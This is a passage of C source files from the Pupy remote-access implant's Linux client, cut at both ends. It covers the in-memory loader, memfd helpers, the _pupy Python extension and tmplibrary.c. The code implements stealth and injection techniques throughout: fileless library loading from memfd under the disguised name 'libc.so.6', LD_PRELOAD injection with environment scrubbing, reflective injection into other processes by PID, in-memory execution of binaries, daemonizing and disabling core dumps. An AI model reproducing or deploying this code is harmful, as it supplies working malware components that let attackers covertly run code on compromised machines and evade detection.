    dprint("Sutting down\n");
}

static void
__handle_exit(int status) {
    dprint("Catch exit (%d)\n", __to_wait);
    __attribute__((noreturn))
        void (*orig_exit)(int status) = dlsym(RTLD_NEXT, "_exit");

    if (__to_wait) {
        dprint("Hook exit\n");
        unloader();
    }

    orig_exit(status);
}

static void
__atexit() {
    dprint("At exit\n");
    __handle_exit(0);
}

static void
__on_exit(int status, void *data) {
    dprint("On exit\n");
    __handle_exit(status);
}

static void
_pupy_main(int argc, char* argv[], char* envp[]) {
    dprint("pupy loader ctor called\n");
    dprint("fill_argv called: %d/%p/%p\n", argc, argv, envp);
#ifdef DEBUG
    int i;
    for (i=0; i<argc; i++) {
        dprint("ARGV[%d] = %s\n", i, argv[i]);
    }
#endif

    char *ldpreload = getenv("LD_PRELOAD");
    char *cleanup = getenv("CLEANUP");
    char *hook_exit = getenv("HOOK_EXIT");

    __argc = argc;
    __argv = argv;

    if (hook_exit && strncmp(hook_exit, "1", 1) == 0)
        __to_wait = 1;

    if (ldpreload) {
        dprint("REMAP SELF\n0");
        __unmapped = remap(ldpreload);
    }

    if (cleanup && ldpreload && !strcmp(cleanup, "1")) {
        dprint("Cleanup requested. Cleanup %s\n", ldpreload);
        unlink(ldpreload);
    }

    if (ldpreload) {
        dprint("Unset LD_PRELOAD (%s)\n", ldpreload);
        unsetenv("LD_PRELOAD");
    }

    atexit(__atexit);

#ifdef Linux
    on_exit(__on_exit, NULL);
#endif

    while (*envp) {
        if ((strncmp(*envp, "LD_PRELOAD=", 11) == 0)
            || strncmp(*envp, "CLEANUP=", 8) == 0
            || strncmp(*envp, "HOOK_EXIT=", 10) == 0) {
            dprint("CLEAN %s\n", *envp);
            memset(*envp, 0, strlen(*envp));
        }
        envp++;
    }

    dprint("Start payload, wait=%d\n", __to_wait);

    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_create(
            &thread_id, &attr,
            thread_start, NULL);

    dprint("init_array completed\n");
}

__attribute__((section(".init_array"))) void (* pupy_main)(int, char*[], char*[]) = _pupy_main;


================================================
FILE: client/sources-linux-py3/memfd.h
================================================
#ifndef _PUPY_MEMFD_H
#define _PUPY_MEMFD_H

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <string.h>
#include <stdbool.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>

#ifndef MFD_CLOEXEC
  #define MFD_CLOEXEC         0x0001U
  #define MFD_ALLOW_SEALING   0x0002U
#endif

#ifndef __NR_memfd_create
 #ifdef __x86_64__
  #define __NR_memfd_create 319
 #elif __i386__
  #define __NR_memfd_create 356
 #elif __arm__
  #define __NR_memfd_create 385
 #endif
#endif

#ifndef F_ADD_SEALS
  #define F_ADD_SEALS    (1024 + 9)
  #define F_SEAL_SEAL    0x0001
  #define F_SEAL_SHRINK  0x0002
  #define F_SEAL_GROW    0x0004
  #define F_SEAL_WRITE   0x0008
#endif

#define PROCFS_PATH "/proc/"
#define MEMFD_FILE_PATH PROCFS_PATH "%d/fd/"

static bool memfd_checked = false;
static bool memfd_works = true;

inline static bool pupy_memfd_supported()
{
  int fd;

  if (memfd_checked)
    return memfd_works;

  fd = syscall(__NR_memfd_create, "check", MFD_CLOEXEC | MFD_ALLOW_SEALING);
  close(fd);

  return fd != -1;
}

inline static int pupy_memfd_create(char *path, unsigned int path_size)
{
#ifdef Linux

#ifdef DEBUG
    #define _path path
#else
    char _path[PATH_MAX] = "libc.so.6";
#endif
    /* Do not make syscall billion times */
    if (memfd_checked && !memfd_works) {
      errno = ENOSYS;
      return -1;
    }

    int fd = syscall(__NR_memfd_create, _path, MFD_CLOEXEC | MFD_ALLOW_SEALING);

    if (fd == -1) {
      if (errno == ENOSYS)
        memfd_works = false;

      return -1;
    }

    snprintf(path, path_size, MEMFD_FILE_PATH "%d", getpid(), fd);
    return fd;
#else
  return -1;
#endif
}

inline static bool is_memfd_path(const char *path)
{
    return !strncmp(path, PROCFS_PATH, strlen(PROCFS_PATH)) && \
        strstr(path, "/fd/");
}
#endif


================================================
FILE: client/sources-linux-py3/pupy.c
================================================
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#define _GNU_SOURCE

#ifdef _PUPY_SO
#   define PY_SSIZE_T_CLEAN
#	include <Python.h>
#else
#	include "Python-dynload.h"
#	include "Python-dynload-os.h"
#endif

#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <dlfcn.h>
#include <limits.h>
#include "debug.h"
#include "daemonize.h"
#include <arpa/inet.h>
#include "tmplibrary.h"
#include <sys/mman.h>
#ifdef Linux
#include <sys/prctl.h>
#include "memfd.h"
#ifdef _FEATURE_INJECTOR
#include "injector.h"
#endif
#endif

#include "ld_hooks.h"
#include "revision.h"

static const char module_doc[] = DOC("Builtins utilities for pupy");
static PyObject *ExecError;

#ifdef _FEATURE_PATHMAP
static PyObject *py_pathmap = NULL;

#ifndef _LD_HOOKS_NAME
static
#endif
const char *__pathmap_callback(const char *path, char *buf, size_t buf_size)
{
    PyGILState_STATE gil_state;
    PyObject* result = NULL;
    char *c_result = NULL;

    if (!strncmp(path, "f:", 2) ||
        !strncmp(path, "pupy:/", 6) ||
        !strncmp(path, "pupy/", 5))
    {
        dprint("__pathmap_callback(%s) -> pupy -> NULL\n");
        return NULL;
    }

    if (!py_pathmap) {
        dprint("__pathmap_callback: uninitialized (should not happen)\n");
        return path;
    }

    dprint("__pathmap_callback(%s) - get (%p (%d))\n",
        path, py_pathmap, Py_RefCnt(py_pathmap));

    gil_state = PyGILState_Ensure();

    result = PyDict_GetItemString(py_pathmap, path);

    dprint("__pathmap_callback(%s) -> %p (%d)\n",
        path, result, Py_RefCnt(result));

    if (!result) {
        PyGILState_Release(gil_state);
        return path;
    }

    if (result == Py_None) {
        dprint("__pathmap_callback: None\n");
        PyGILState_Release(gil_state);
        return NULL;
    }

    c_result = PyBytes_AsString(result);
    if (!c_result) {
        dprint("__pathmap_callback: Not a string object\n");
        PyErr_Clear();
        PyGILState_Release(gil_state);
        return path;
    }

    strncpy(buf, c_result, buf_size);
    PyGILState_Release(gil_state);
    return buf;
}
#endif

static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
#ifdef __x86_64__
    return Py_BuildValue("s", "x64");
#elif __i386__
    return Py_BuildValue("s", "x86");
#elif __arm__
    return Py_BuildValue("s", "arm");
#else
    return Py_BuildValue("s", "unknown");
#endif
}

static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
{
    const char *lpCmdBuffer;
    const char *lpDllBuffer;
    uint32_t dwDllLenght;
    PyObject* py_HookExit;

    if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))
        return NULL;

    char ldobject[PATH_MAX] = {};
    int cleanup_workaround = 0;
    int cleanup = 1;

    int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);
    if (fd < 0) {
        dprint("Couldn't drop library: %m\n");
        return NULL;
    }

#ifdef Linux
    if (is_memfd_path(ldobject)) {
        cleanup_workaround = 1;
        cleanup = 0;
    }
#endif

    char cmdline[PATH_MAX*2] = {};
    snprintf(
        cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null",
        ldobject,
        PyObject_IsTrue(py_HookExit),
        cleanup,
        lpCmdBuffer
    );

    dprint("Program to execute in child context: %s\n", cmdline);

#if defined(Linux) && !defined(DEBUG)
    if (cleanup_workaround)
        prctl(4, 1, 0, 0, 0);
#endif

    pid_t pid = daemonize(0, NULL, NULL, false);
    if (pid == 0) {
        /* Daemonized context */
        dprint("Daemonization complete - client\n");
        execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);
        unlink(ldobject);
        exit(255);
    }

    dprint("Daemonization complete - server\n");
    if (cleanup_workaround) {
        sleep(2);
        close(fd);
    }

#if defined(Linux) && !defined(DEBUG)
    if (cleanup_workaround)
        prctl(4, 0, 0, 0, 0);
#endif

    if (pid == -1) {
        dprint("Couldn\'t daemonize: %m\n");
        unlink(ldobject);
        return PyLong_FromLong(-1);
    }

    return PyLong_FromLong(pid);
}

#ifdef Linux
#ifdef _FEATURE_INJECTOR
static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
{
    uint32_t dwPid;
    const char *lpDllBuffer;
    uint32_t dwDllLenght;
    int ret = 0;
    if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght))
        return NULL;

    dprint("Injection requested. PID: %d\n", dwPid);

    char buf[PATH_MAX]={};
    int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);
    if (!fd) {
        PyErr_SetString(ExecError, "Couldn't drop library");
        return NULL;
    }

    int is_memfd = is_memfd_path(buf);

    dprint("Injecting %s to %d\n", buf, dwPid);

    injector_t *injector;

    if (injector_attach(&injector, dwPid) != 0) {
        PyErr_SetString(ExecError, "Injector attach failed");
        return NULL;
    }

#ifndef DEBUG
    if (is_memfd)
        prctl(4, 1, 0, 0, 0);
#endif

    if (injector_inject(injector, buf) == 0) {
        dprint("\"%s\" successfully injected\n", buf);
        ret = 1;
    }

    if (is_memfd) {
#ifndef DEBUG
        prctl(4, 0, 0, 0, 0);
#endif
        close(fd);
    } else {
        unlink(buf);
    }

    injector_detach(&injector);

    if (ret != 1) {
        PyErr_SetString(ExecError, injector_error());
        return NULL;
    }

    return PyBool_FromLong(0);
}
#endif


static PyObject *Py_memfd_is_supported(PyObject *self, PyObject *args)
{
    return PyBool_FromLong(pupy_memfd_supported());
}


static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwargs)
{
    char memfd_path[PATH_MAX] = {};
    int fd = -1;
    const char *name = "";
    FILE *c_file;
    PyObject *py_file;
    PyObject *result;

    static const char* kwargs_defs[] = {
        "name", NULL
    };

    if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|s", kwargs_defs, &name))
        return NULL;

    strncpy(memfd_path, name, sizeof(memfd_path));

    dprint("Py_memfd_create(%s)\n", name);
    fd = pupy_memfd_create(memfd_path, sizeof(memfd_path));

    if (fd == -1)
        return PyErr_SetFromErrno(PyExc_OSError);

    c_file = fdopen(fd, "w+b");
    if (!c_file) {
        close(fd);
        return PyErr_SetFromErrno(PyExc_OSError);
    }

    py_file = PyFile_FromFd(c_file, memfd_path, "w+b", -1, "", "\n", "", fclose);
    if (!py_file) {
        close(fd);
        return NULL;
    }

    result = Py_BuildValue("Os", py_file, memfd_path);
    Py_DecRef(py_file);

    return result;
}
#endif


static PyObject *Py_load_dll(PyObject *self, PyObject *args)
{
    char *lpDllBuffer;
    Py_ssize_t dwDllLenght;
    const char *dllname;
    PyObject *dataobj;
    if (!PyArg_ParseTuple(args, "sS", &dllname, &dataobj))
        return NULL;

    if (PyBytes_AsStringAndSize(dataobj, &lpDllBuffer, &dwDllLenght)==-1) {
            PyErr_Format(PyExc_ImportError,
                 "Py_load_dll : cannot convert bytes to char * : %s ", dllname);
            return NULL;
    }

    dprint("Py_load_dll(%s, buf=%p BufSize=%d)\n", dllname, lpDllBuffer, dwDllLenght);

    void * hmem = memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW);
    if (!hmem) {
        dprint("Py_load_dll(): Couldn't load %s\n", dllname);
        PyErr_Format(ExecError, "Py_load_dll(): Couldn't load %s\n", dllname);
        return NULL;
    }
    dprint("Py_load_dll(): returning handle: %x\n",hmem);
    return PyLong_FromVoidPtr(hmem);
}


static PyObject *
Py_import_module(PyObject *self, PyObject *args) {
    char *data;
    Py_ssize_t size;
    char *initfuncname;
    char *modname;
    char *pathname;
    char *oldcontext;

    PyObject *dataobj;
    PyObject *spec;
    /* code, initfuncname, fqmodulename, path */
    if (!PyArg_ParseTuple(args, "SsssO:import_module",
          &dataobj,
          &initfuncname, &modname, &pathname, &spec)) {
        dprint("error in PyArg_ParseTuple()\n");
        return NULL;
    }

    dprint("DEBUG! %s@%s\n", initfuncname, modname);

    if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {
            PyErr_Format(PyExc_ImportError,
                 "cannot convert bytes to char * : %s ", pathname);
            return NULL;
    }

    dprint("import_module: init=%s mod=%s (%p:%lu)\n",
           initfuncname, modname, data, size);

    void *hmem = memdlopen(modname, data, size, RTLD_LOCAL | RTLD_NOW);
    if (!hmem) {
        dprint("Py_import_module(): Couldn't load %s\n", modname);
        PyErr_Format(PyExc_ImportError, "Py_load_dll(): Couldn't load %s\n", modname);
        return NULL;
    }

    PyObject *(*do_init)(void);
    do_init= dlsym(hmem, initfuncname);
    if (!do_init) {
        dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname);
        dlclose(hmem);
        return NULL;
    }

    oldcontext = _Py_PackageContext;
    _Py_PackageContext = modname;
    dprint("Call %s@%s (%p)\n", initfuncname, modname, do_init);
    PyObject *m = do_init();
    _Py_PackageContext = oldcontext;

    dprint("Call %s@%s (%p) - complete\n", initfuncname, modname, do_init);

    // multi phase init
    if (PyObject_TypeCheck(m, &PyModuleDef_Type)) {
        struct PyModuleDef *def;
        PyObject *state;

        m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec);
        def = PyModule_GetDef(m);
        state = PyModule_GetState(m);
        if (state == NULL) {
            PyModule_ExecDef(m, def);
        }
        dprint("return from PyObject_TypeCheck\n", modname);
        return m;
    }
    PyObject *modules = NULL;
    modules = PyImport_GetModuleDict();
    PyObject *name = PyUnicode_FromString(modname);
    _PyImport_FixupExtensionObject(m, name, name, modules);

    Py_DECREF(name);

    if (PyErr_Occurred()) {
        dprint("error at the end\n");
            return NULL;
    }


    dprint("calling PyImport_ImportModule(%s)\n", modname);
    /* Retrieve from sys.modules */
    return PyImport_ImportModule(modname);
}

static PyObject *Py_mexec(PyObject *self, PyObject *args)
{
    const char *buffer = NULL;
    size_t buffer_size = 0;
    PyObject *argv_obj = NULL;
    PyObject *redirected_obj = NULL;
    PyObject *detach_obj = NULL;

//TODO: change all deprecated and broken s# notation in PyArg_ParseTuple
    if (!PyArg_ParseTuple(args, "s#OOO", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj))
        return NULL;

    Py_ssize_t argc = PySequence_Length(argv_obj);
    if (argc < 1) {
        PyErr_SetString(ExecError, "Args not passed");
        return NULL;
    }

    bool redirected = PyObject_IsTrue(redirected_obj);
    bool detach =  PyObject_IsTrue(detach_obj);
    char **argv = (char **) malloc(sizeof(char*) * (argc + 1));
    if (!argv) {
        PyErr_SetString(ExecError, "Too many args");
        return NULL;
    }

    int i;
    for (i=0; i<argc; i++) {
        PyObject *arg = NULL;
        arg = PySequence_GetItem(argv_obj, i);
        if (arg)
            argv[i] = PyBytes_AsString(arg);
    }
    argv[argc] = NULL;

    int stdior[3] = { -1, -1, -1 };
    pid_t pid = memexec(buffer, buffer_size, (const char **) argv, stdior, redirected, detach);

    if (pid < 0) {
        PyErr_SetString(ExecError, "Can't execute");
        return NULL;
    }

    PyObject * p_stdin = Py_None;
    PyObject * p_stdout = Py_None;
    PyObject * p_stderr = Py_None;

    if (redirected) {
        p_stdin = PyFile_FromFd(fdopen(stdior[0], "w"), "mexec:stdin", "a", 0, "", "\n", "", fclose);
        p_stdout = PyFile_FromFd(fdopen(stdior[1], "r"), "mexec:stdout", "r", 0, "", "\n", "", fclose);
        p_stderr = PyFile_FromFd(fdopen(stdior[2], "r"), "mexec:stderr", "r", 0, "", "\n", "", fclose);

        //PyFile_SetBufSize(p_stdin, 0);
        //PyFile_SetBufSize(p_stdout, 0);
        //PyFile_SetBufSize(p_stderr, 0);
    }

    return Py_BuildValue("i(OOO)", pid, p_stdin, p_stdout, p_stderr);
}

static PyObject *Py_is_shared_object(PyObject *self, PyObject *args)
{
#ifdef _PUPY_SO
        return PyBool_FromLong(1);
#else
        return PyBool_FromLong(0);
#endif
}

static PyMethodDef methods[] = {
    { "is_shared", Py_is_shared_object, METH_NOARGS, DOC("Client is shared object") },
    { "get_arch", Py_get_arch, METH_NOARGS, DOC("get current pupy architecture (x86 or x64)") },
#ifdef Linux
#ifdef _FEATURE_INJECTOR
    { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS,
      DOC("reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure")
    },
#endif
    { "memfd_is_supported", Py_memfd_is_supported, METH_VARARGS, DOC("Check memfd is supported") },
    { "memfd_create", (PyCFunction) Py_memfd_create, METH_VARARGS | METH_KEYWORDS, DOC("Create memfd file") },
#endif
    { "load_dll", Py_load_dll, METH_VARARGS, DOC("load_dll(dllname, raw_dll) -> ptr") },
    { "import_module", Py_import_module, METH_VARARGS,
      DOC("import_module(data, size, initfuncname, path) -> module") },
    { "mexec", Py_mexec, METH_VARARGS, DOC("mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))") },
    { "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, DOC("ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid") },
    { NULL, NULL },     /* Sentinel */
};

static struct PyModuleDef PupyModuleDef =
{
//    PyModuleDef_HEAD_INIT,
    {
        { 0, 0, 1, NULL} ,           
        NULL, /* m_init */          
        0,    /* m_index */         
        NULL
    }, /* m_copy */          
    "_pupy", /* name of module */
    "", /* module documentation, may be NULL */
    -1,   /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */
    methods
};

#ifdef _PUPY_DYNLOAD
#define FUNC_EXPORT PyMODINIT_FUNC
#else
#define FUNC_EXPORT void *
#endif

FUNC_EXPORT PyInit__pupy(void) {

    PyObject *pupy;
    //PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc);
    dprint("creating pupy module ...\n");
    pupy = PyModule_Create(&PupyModuleDef);

    if (!pupy) {
        return NULL;
    }

    PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD);
    ExecError = PyErr_NewException("_pupy.error", NULL, NULL);
    Py_INCREF(ExecError);
    PyModule_AddObject(pupy, "error", ExecError);

#ifdef _PUPY_SO
    //setup_jvm_class();
#endif

#ifdef _FEATURE_PATHMAP
    py_pathmap = PyDict_New();
    Py_INCREF(py_pathmap);
    PyModule_AddObject(pupy, "pathmap", py_pathmap);
#ifndef _LD_HOOKS_NAME
    set_pathmap_callback(__pathmap_callback);
#endif
#endif
    return pupy;
}


================================================
FILE: client/sources-linux-py3/pupy.ldscript
================================================
{
    global:
        open; open64;
        openat; openat64;
        fopen; fopen64;
        __lxstat; __lxstat64;
        __xstat; __xstat64;

    local: *;
};


================================================
FILE: client/sources-linux-py3/pupy.so.ldscript
================================================
{
    global: 
        JNI_OnLoad;
        JNI_OnUnload;
    local: *;
};


================================================
FILE: client/sources-linux-py3/pupy_load.c
================================================
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#define _GNU_SOURCE
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <limits.h>
#include <string.h>
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/resource.h>

#include "tmplibrary.h"
#include "debug.h"

#include "pupy_load.h"

#include "Python-dynload.c"
#include "revision.h"
#include "ld_hooks.h"
#include "memfd.h"

// include the c extension to load from memory
#include "_pupy.c"

//extern DL_EXPORT(void) init_pupy(void);

#if defined(_FEATURE_PATHMAP) && defined(_LD_HOOKS_NAME)
const char *__pathmap_callback(const char *path, char *buf, size_t buf_size);
#endif


uint32_t mainThread(int argc, char *argv[], bool so)
{

    struct rlimit lim;
    char *oldcontext;

    dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD);

    if (getrlimit(RLIMIT_NOFILE, &lim) == 0)
    {
        lim.rlim_cur = lim.rlim_max;
        setrlimit(RLIMIT_NOFILE, &lim);
    }

    lim.rlim_cur = 0;
    lim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &lim);

#ifdef _FEATURE_PATHMAP
#ifndef _LD_HOOKS_NAME
    _ld_hooks_main(argc, argv, NULL);
#else
    void *ld_hooks = xz_dynload(
        _LD_HOOKS_NAME, _LD_HOOKS_START, _LD_HOOKS_SIZE,
        NULL
    );

    if (ld_hooks) {
        void (*set_pathmap_callback)(cb_hooks_t cb) = dlsym(
            ld_hooks, "set_pathmap_callback");

        if (set_pathmap_callback) {
            set_pathmap_callback(__pathmap_callback);
            dprint("set_pathmap_callback: %p\n", set_pathmap_callback);
        } else {
            dprint("set_pathmap_callback not found\n");
        }
    } else {
        dprint("set_pathmap_callback: " _LD_HOOKS_NAME " not found\n");
    }

#endif
#endif

    dprint("Initializing python...\n");
    if (!initialize_python(argc, argv, so))
    {
        return -1;
    }

    dprint("_pupy built with dynload\n");
    //init_pupy();
    void *c_pupy = xz_dynload(
        "_pupy.so",
        _pupy_c_start, _pupy_c_size,
        NULL
    );
    PyObject *(*PyInit__pupy)(void);
    PyInit__pupy= dlsym(c_pupy, "PyInit__pupy");
    if (!PyInit__pupy) {
        dprint("Couldn't find sym PyInit__pupy");
        dlclose(c_pupy);
        return -1;
    }

    oldcontext = _Py_PackageContext;
    _Py_PackageContext = "_pupy";

    PyObject *m = PyInit__pupy();
    _Py_PackageContext = oldcontext;

    PyObject *modules = NULL;
    modules = PyImport_GetModuleDict();
    PyObject *name = PyUnicode_FromString("_pupy");
    _PyImport_FixupExtensionObject(m, name, name, modules);

    Py_DECREF(name);

    if (PyErr_Occurred()) {
        dprint("error loading _pupy.so\n");
        return false;
    }

    dprint("Running pupy...\n");
    run_pupy();

    dprint("Global Exit\n");
    return 0;
}


================================================
FILE: client/sources-linux-py3/pupy_load.h
================================================
#ifndef PUPY_LOAD_H
#define PUPY_LOAD_H

#include <stdint.h>
#include <stdbool.h>

void initialize(bool isDll);
int execute(void * lpArg);
void deinitialize();

uint32_t mainThread(int argc, char *argv[], bool so);

void setup_jvm_class();

#endif


================================================
FILE: client/sources-linux-py3/revision.h
================================================
#define GIT_REVISION_HEAD "90a8f7a9"


================================================
FILE: client/sources-linux-py3/tmplibrary.c
================================================
#define _GNU_SOURCE

#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <fcntl.h>
#include <stdlib.h>
#include <alloca.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <link.h>
#include <dlfcn.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <inttypes.h>
#include <stddef.h>

#include "tmplibrary.h"
#include "debug.h"

#ifdef Linux
#include "memfd.h"
#endif

#include "decompress.h"

#ifndef MREMAP_FIXED
#define MREMAP_FIXED    2

#endif

void*  (*___mremap) (
   void *old_address, size_t old_size,
   size_t new_size, int flags, void *new_address) = (void *) mremap;

static
void _pmparser_split_line(
    char *buf, char *addr1, char *addr2,
    char *perm, char *offset, char *device, char *inode,
    char *pathname
);

extern char **environ;

/*

  So.. We don't want to bother with reflective bla-bla-bla. Just
  upload buffer to temporary file, load it as a library using standard
  glibc calls, then delete

*/

static inline
const char *gettemptpl() {
    static const char *templates[] = {
#ifdef Linux
        "/dev/shm/XXXXXX",
        "/run/shm/XXXXXX",
        "/run/",
#endif
        "/tmp/XXXXXX",
        "/var/tmp/XXXXXX",
        NULL
    };

    static const char *tmpdir = NULL;
    if (! tmpdir) {
        int i;
        for (i=0; templates[i]; i++) {
            char *buf = alloca(strlen(templates[i]+1));
            strcpy(buf, templates[i]);
            int fd = mkstemp(buf);
            int found = 0;
            if (fd != -1) {
                int page_size = sysconf(_SC_PAGESIZE);
                if (ftruncate(fd, page_size) != -1) {
                    void *map = mmap(
                        NULL,
                        page_size,
                        PROT_READ|PROT_EXEC,
#ifdef Linux
                        MAP_PRIVATE|MAP_DENYWRITE,
#else
                        MAP_PRIVATE,
#endif
                        fd,
                        0
                    );
                    if (map != MAP_FAILED) {
                        munmap(map, page_size);
                        found = 1;
                    } else {
                        dprint("Couldn't use %s -> %m\n", buf);
                    }
                }

                unlink(buf);
                close(fd);

                if (found) {
                    tmpdir = templates[i];
                    break;
                }
            }
            dprint("TRY: %s -> %d (%m)\n", buf, fd);

        }
        if (!tmpdir) {
            abort();
        }
    }

    return tmpdir;
}

int drop_library(char *path, size_t path_size, const char *buffer, size_t size) {
#if defined(Linux)
    int fd = pupy_memfd_create(path, path_size);
    bool memfd = true;
#elif defined(SunOS)
    char tmp[PATH_MAX] = {};
    snprintf(tmp, sizeof(tmp), "/tmp/%s", path);
    int fd = open(tmp, O_CREAT | O_RDWR, 0600);
    strncpy(path, tmp, path_size);
    bool memfd = false;
#else
    int fd = -1;
    bool memfd = false;
#endif

    if (fd < 0) {
        dprint("pupy_memfd_create() failed: %m\n");
        memfd = false;

        const char *template = gettemptpl();

        if (path_size < strlen(template))
            return -1;

        strcpy(path, template);

        fd = mkstemp(path);
        if (fd < 0) {
            return fd;
        }
    }
    if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') {
        dprint("Decompressing library %s\n", path);
        int r = decompress(fd, buffer, size);
        if (!r == 0) {
            dprint("Decompress error: %d\n", r);
            close(fd);
            return -1;
        }
    } else {
        dprint("Writing library to fd : %s\n", path);
        while (size > 0) {
            size_t n = write(fd, buffer, size);
            if (n == -1) {
                dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path);
                close(fd);
                unlink(path);
                fd = -1;
                break;
            }
            buffer += n;
            size -= n;
        }
    }
    
#ifdef Linux
    if (memfd) {
        dprint("calling fcntl on fd=%d\n", fd);
        fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
    }
#endif

    dprint("returning fd=%d\n", fd);
    return fd;
}

static inline int
set_cloexec_flag (int desc) {
    int oldflags = fcntl (desc, F_GETFD, 0);
    if (oldflags < 0)
        return oldflags;
    oldflags |= FD_CLOEXEC;
    return fcntl (desc, F_SETFD, oldflags);
}

pid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdior[3], bool redirected_stdio, bool detach) {
    dprint("memexec(%p, %ull, %d)\n", buffer, size, redirected_stdio);

    char buf[PATH_MAX]={};
    int fd = drop_library(buf, sizeof(buf), buffer, size);
    if (fd < 0) {
        dprint("Couldn't drop executable: %m\n");
        return -1;
    }

    int p_wait[2];
    int p_stdin[2];
    int p_stdout[2];
    int p_stderr[2];

    if (pipe(p_wait) < 0) {
        dprint("Couldn't create wait pipe: %m\n");
        goto _lbClose;
    }

    if (redirected_stdio) {
        if (pipe(p_stdin) < 0)
            goto _lbClose0;

        if (pipe(p_stdout) < 0)
            goto _lbClose1;

        if (pipe(p_stderr) < 0)
            goto _lbClose2;
    }

    pid_t pid = 0;
    if (detach) {
        pid = fork();
        if (pid == -1) {
            dprint("Couldn't fork: %m\n");
            goto _lbClose3;
        }
    }

    if (!pid) {
        pid = fork();
        if (pid == -1) {
            exit(1);
        }

        if (pid) {
            if (detach) {
                write(p_wait[1], &pid, sizeof(pid));
                exit(0);
            }
        } else {
            if (redirected_stdio) {
                dup2(p_stdin[0], 0);  close(p_stdin[1]);
                dup2(p_stdout[1], 1); close(p_stdout[0]);
                dup2(p_stderr[1], 2); close(p_stderr[0]);
                close(p_wait[0]);
            } else {
                int i;

                if (setsid ( ) == -1)
                    return -1;

                for (i = 0; i < sysconf(_SC_OPEN_MAX); i++)
                    if (i != p_wait[1])
                        close(i);

                open ("/dev/null", O_RDWR);
                dup (0);
                dup (0);
            }

            set_cloexec_flag(p_wait[1]);

            execv(buf, (char *const *) argv);

            int status = errno;
            write(p_wait[1], &status, sizeof(status));
            exit(1);
        }
    }

    close(p_wait[1]);
    p_wait[1] = -1;

    int status = 0;
    int error = 0;
    pid_t child_pid = 0;

    if (detach) {
        if (read(p_wait[0], &child_pid, sizeof(child_pid)) < 0) {
            dprint("Reading child pid failed: %m\n");
            goto _lbClose3;
        }

        if (waitpid(pid, &status, 0) < 0 || WEXITSTATUS(status) != 0) {
            dprint("Invalid child state\n");
            goto _lbClose3;
        }

        dprint("Detached pid catched and closed: %d status=%d\n",
               pid, WEXITSTATUS(status));
    } else {
        child_pid = pid;
    }

    dprint("Wait exec status...\n");

    if (read(p_wait[0], &error, sizeof(error)) < 0) {
        dprint("Reading error failed: %m\n");
        goto _lbClose3;
    }

    dprint("Child error status: %d (%d)\n", error, errno);
    if (error)
        goto _lbClose3;

    dprint("Child at %d\n", child_pid);
    if (redirected_stdio) {
        close(p_stdin[0]);  stdior[0] = p_stdin[1];
        close(p_stdout[1]); stdior[1] = p_stdout[0];
        close(p_stderr[1]); stdior[2] = p_stderr[0];
    }

    close(p_wait[0]);
    close(fd);

#ifdef Linux
    if (!is_memfd_path(buf))
#endif
    unlink(buf);
    return child_pid;

 _lbClose3:
    if (redirected_stdio) {
        close(p_stderr[0]); close(p_stderr[1]);
    }
 _lbClose2:
    if (redirected_stdio) {
        close(p_stdout[0]); close(p_stdout[1]);
    }
 _lbClose1:
    if (redirected_stdio) {
        close(p_stdin[0]); close(p_stdin[1]);
    }
 _lbClose0:
    if (p_wait[0] > 0)
        close(p_wait[0]);
    if (p_wait[1] > 0)
        close(p_wait[1]);

 _lbClose:
    close(fd);
    unlink(buf);

    dprint("Exited with error\n");
    return -1;
}

#ifdef Linux

int remap(const char *path) {
    char line_buf[PATH_MAX + 256] = {};
    struct stat dl_stat = {};
    int remapped = -1;

    if (!path || path[0] == '\0') {
        return -1;
    }

    FILE *maps = fopen("/proc/self/maps", "r");

    dprint("Remap %s\n", path);

    if (!maps) {
